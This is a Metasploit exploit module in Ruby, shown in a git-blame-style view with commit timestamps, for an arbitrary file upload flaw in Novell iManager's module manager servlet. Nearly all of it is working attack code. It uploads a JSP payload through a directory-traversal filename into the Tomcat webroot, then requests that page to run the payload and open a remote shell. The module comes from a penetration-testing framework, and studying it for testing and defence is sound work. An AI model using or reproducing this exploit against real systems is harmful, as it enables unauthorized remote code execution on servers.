2010-10-18 07:05:22 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-10-18 07:05:22 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-07 19:19:55 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
2010-10-18 07:05:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
|
2010-10-18 07:05:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2010-10-18 07:05:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Novell iManager getMultiPartParameters Arbitrary File Upload',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a directory traversal vulnerability which
|
|
|
|
allows remote attackers to upload and execute arbitrary code.
|
2010-10-18 07:05:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
PortalModuleInstallManager
|
|
|
|
},
|
|
|
|
'Author' => [ 'jduck' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'Privileged' => true,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
#[ 'CVE', '2010-??' ],
|
|
|
|
[ 'OSVDB', '68320'],
|
2013-10-21 20:07:07 +00:00
|
|
|
[ 'ZDI', '10-190' ],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'URL', 'http://www.novell.com/support/viewContent.do?externalId=7006515&sliceId=2' ],
|
|
|
|
],
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Universal Windows Target',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
},
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
2014-08-31 06:18:53 +00:00
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'SHELL' => 'cmd.exe'
|
|
|
|
},
|
2013-08-30 21:28:54 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Oct 01 2010'
|
|
|
|
))
|
2010-10-18 07:05:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8080)
|
|
|
|
], self.class )
|
|
|
|
end
|
2010-10-18 07:05:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
2010-10-18 07:05:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
page = Rex::Text.rand_text_alpha_upper(8) + ".jsp"
|
2010-10-18 07:05:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
fname = '../../../../../../../Progra~1/Novell/Tomcat/webapps/ROOT/'
|
|
|
|
fname << page
|
2010-10-18 07:05:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
dbl = Rex::MIME::Message.new
|
|
|
|
dbl.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"MODULE_FILE\"; filename=\"#{fname}\"")
|
|
|
|
data = dbl.to_s
|
|
|
|
# For some unknown reason, the service is unhappy with an extra EOL.
|
|
|
|
data.strip!
|
2010-10-18 07:05:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Uploading the payload via a POST request...")
|
2010-10-18 07:05:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => '/nps/servlet/modulemanager',
|
|
|
|
'version' => '1.1',
|
|
|
|
'method' => 'POST',
|
|
|
|
'ctype' => "multipart/form-data; boundary=#{dbl.bound}",
|
|
|
|
'data' => data,
|
|
|
|
}, 5)
|
2010-10-18 07:05:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if ( res and res.code == 200 and res.message =~ /OK/ )
|
|
|
|
print_status("Sending our second request to '#{page}'...")
|
|
|
|
data = send_request_raw({
|
|
|
|
'uri' => '/' + page,
|
|
|
|
'method' => 'GET',
|
|
|
|
'version' => '1.0',
|
|
|
|
}, 5)
|
|
|
|
handler
|
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, 'POST failed')
|
|
|
|
end
|
2010-10-18 07:05:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2010-10-18 07:05:22 +00:00
|
|
|
end
|